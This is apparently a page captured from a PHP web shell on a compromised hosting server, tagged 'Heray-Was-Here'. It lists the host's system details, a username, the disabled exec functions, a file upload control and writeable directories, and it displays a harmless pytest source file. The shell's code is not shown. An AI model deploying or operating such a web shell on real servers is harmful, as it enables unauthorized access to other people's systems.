Heray-Was-Here
Server : Apache
System : Linux vps37394.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : jasonp18 ( 1000)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /lib/rads/venv/lib/python3.13/site-packages/_pytest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/rads/venv/lib/python3.13/site-packages/_pytest/tracemalloc.py
from __future__ import annotations


def tracemalloc_message(source: object) -> str:
    if source is None:
        return ""

    try:
        import tracemalloc
    except ImportError:
        return ""

    tb = tracemalloc.get_object_traceback(source)
    if tb is not None:
        formatted_tb = "\n".join(tb.format())
        # Use a leading new line to better separate the (large) output
        # from the traceback to the previous warning text.
        return f"\nObject allocated at:\n{formatted_tb}"
    # No need for a leading new line.
    url = "https://docs.pytest.org/en/stable/how-to/capture-warnings.html#resource-warnings"
    return (
        "Enable tracemalloc to get traceback where the object was allocated.\n"
        f"See {url} for more info."
    )

Hry